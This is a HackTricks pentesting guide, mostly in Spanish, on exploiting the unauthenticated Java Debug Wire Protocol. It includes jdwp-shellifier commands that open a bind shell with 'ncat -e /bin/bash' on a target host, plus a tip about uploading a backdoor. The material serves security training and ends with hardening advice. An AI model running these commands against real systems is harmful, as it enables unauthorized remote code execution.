8 KiB
Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración. Realiza un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde la recopilación de información hasta la elaboración de informes. No reemplazamos a los pentesters; desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles algo de tiempo para profundizar, ejecutar shells y divertirse.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Explotación
La explotación de JDWP se basa en la falta de autenticación y cifrado del protocolo. Generalmente se encuentra en el puerto 8000, pero otros puertos son posibles. La conexión inicial se realiza enviando un "JDWP-Handshake" al puerto objetivo. Si un servicio JDWP está activo, responde con la misma cadena, confirmando su presencia. Este apretón de manos actúa como un método de huellas dactilares para identificar servicios JDWP en la red.
En términos de identificación de procesos, buscar la cadena "jdwk" en procesos de Java puede indicar una sesión JDWP activa.
La herramienta principal es jdwp-shellifier. Puedes usarla con diferentes parámetros:
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
Encontré que el uso de --break-on 'java.lang.String.indexOf'
hace que el exploit sea más estable. Y si tienes la oportunidad de subir un backdoor al host y ejecutarlo en lugar de ejecutar un comando, el exploit será aún más estable.
Más detalles
Este es un resumen de https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Revísalo para más detalles.
- Descripción general de JDWP:
- Es un protocolo binario de red basado en paquetes, principalmente sincrónico.
- Carece de autenticación y cifrado, lo que lo hace vulnerable cuando se expone a redes hostiles.
- Handshake de JDWP:
- Se utiliza un proceso de handshake simple para iniciar la comunicación. Se intercambia una cadena ASCII de 14 caracteres “JDWP-Handshake” entre el Depurador (cliente) y el Depurado (servidor).
- Comunicación JDWP:
- Los mensajes tienen una estructura simple con campos como Longitud, Id, Bandera y Conjunto de Comandos.
- Los valores del Conjunto de Comandos varían de 0x40 a 0x80, representando diferentes acciones y eventos.
- Explotación:
- JDWP permite cargar e invocar clases y bytecode arbitrarios, lo que plantea riesgos de seguridad.
- El artículo detalla un proceso de explotación en cinco pasos, que involucra obtener referencias de Java Runtime, establecer puntos de interrupción e invocar métodos.
- Explotación en la vida real:
- A pesar de las posibles protecciones de firewall, los servicios JDWP son descubribles y explotables en escenarios del mundo real, como lo demuestran las búsquedas en plataformas como ShodanHQ y GitHub.
- El script de exploit fue probado contra varias versiones de JDK y es independiente de la plataforma, ofreciendo una ejecución remota de código (RCE) confiable.
- Implicaciones de seguridad:
- La presencia de servicios JDWP abiertos en internet subraya la necesidad de revisiones de seguridad regulares, deshabilitar funcionalidades de depuración en producción y configuraciones adecuadas de firewall.
Referencias:
- [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/]
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy(no longer active)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración. Realiza un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde la recopilación hasta la elaboración de informes. No reemplazamos a los pentesters - desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.